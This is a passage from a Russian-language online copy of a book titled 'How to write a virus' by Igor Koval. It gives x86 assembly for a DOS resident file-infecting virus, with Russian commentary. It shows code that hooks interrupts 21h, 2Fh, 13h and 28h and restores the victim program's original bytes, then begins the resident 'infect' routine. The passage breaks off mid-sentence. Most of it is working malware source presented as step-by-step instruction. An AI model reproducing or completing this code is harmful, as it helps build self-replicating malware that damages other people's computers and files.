"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...

Модификация векторов прерываний в особых коммента-
риях не нуждается . А команда " jmp fresh_bytes "
передает управление на программный код,выполняющий
восстановление исходных трех байт программы - жер-
твы .
Таким образом, мы разработали секцию инициализации
нашего вируса . И поэтому настало время перейти к
созданию резидентной секции .Все оставшиеся пункты
этой главы будут посвящены именно разработке рези-
дентной части .


2.13 Пишем резидентную часть

Начало резидентной части мы создали в первых пунк-
тах главы ( см п. 2.5 ).А теперь просто продолжим,
и допишем до конца "заразную" часть вирусной про-
граммы :

infect: push cs ;DS = CS ...
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

Сразу за меткой " infect " мы записали команды ко-